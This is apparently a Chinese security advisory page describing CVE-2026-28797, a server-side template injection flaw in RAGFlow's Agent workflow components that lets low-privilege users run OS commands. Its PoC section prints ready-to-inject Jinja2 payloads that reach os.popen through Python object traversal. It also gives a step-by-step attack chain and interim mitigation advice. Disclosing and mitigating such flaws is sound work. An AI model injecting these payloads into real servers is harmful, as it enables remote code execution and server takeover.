IPBUF安全漏洞报告
English
CVE-2026-28797 CVSS 8.8 高危

CVE-2026-28797 RAGFlow SSTI导致远程代码执行漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-28797
漏洞类型
服务端模板注入 (SSTI)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
RAGFlow

相关标签

SSTIRCERAGFlowJinja2RAG0-day

漏洞概述

RAGFlow是一款开源RAG引擎。在0.24.0及更早版本中,其Agent工作流的文本处理和消息组件存在SSTI漏洞。由于使用了未沙箱化的jinja2.Template渲染用户提供的模板,任何经过身份验证的用户均可利用该漏洞在服务器端执行任意操作系统命令。

技术细节

该漏洞的根本原因在于RAGFlow在处理Agent工作流中的Text Processing(字符串转换)和Message组件时,直接调用了Python的`jinja2.Template`引擎进行渲染,且未对运行环境进行沙箱隔离。攻击者仅需低权限账户,即可在这些组件的输入框中注入恶意的Jinja2模板语法。利用Jinja2模板引擎的继承机制,攻击者可以访问Python的内置对象和全局变量(如`__globals__`)。通过构造特定的对象链(例如访问`config`对象的类继承链),攻击者能够回溯至`os`或`subprocess`等危险模块,从而在服务器端执行任意操作系统命令。由于服务端以高权限运行,这种SSTI漏洞不仅允许读取敏感文件,还可能导致服务器被完全接管,造成极高的安全风险。

攻击链分析

STEP 1
1. 获取访问权限
攻击者使用低权限账户登录到 RAGFlow 系统。
STEP 2
2. 定位注入点
攻击者进入 Agent 工作流,找到 Text Processing (StringTransform) 或 Message 组件。
STEP 3
3. 注入恶意载荷
攻击者在组件输入字段中输入恶意的 Jinja2 模板代码,旨在调用系统命令。
STEP 4
4. 服务端渲染与执行
服务器端接收到输入,使用未沙箱化的 jinja2.Template 引擎进行渲染。
STEP 5
5. 命令执行
引擎解析模板语法,通过 Python 对象链调用 os.popen 或类似函数,在服务器上执行任意命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Payload to execute 'id' command via Jinja2 SSTI # The payload accesses the os module through subclass traversal payload = "{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('id').read() }}" # Alternatively, using config object traversal if available in context # payload = "{{ config.__class__.__init__.__globals__['os'].popen('whoami').read() }}" print(f"Inject this payload into the Text Processing or Message component: {payload}")

影响范围

RAGFlow <= 0.24.0

防御指南

临时缓解措施
由于目前没有公开的补丁,建议暂时禁用 RAGFlow 的 Agent 工作流中的 Text Processing 和 Message 组件功能,或者严格限制对这些组件的访问权限,仅允许管理员或经过严格审查的脚本使用,直到官方修复版本发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表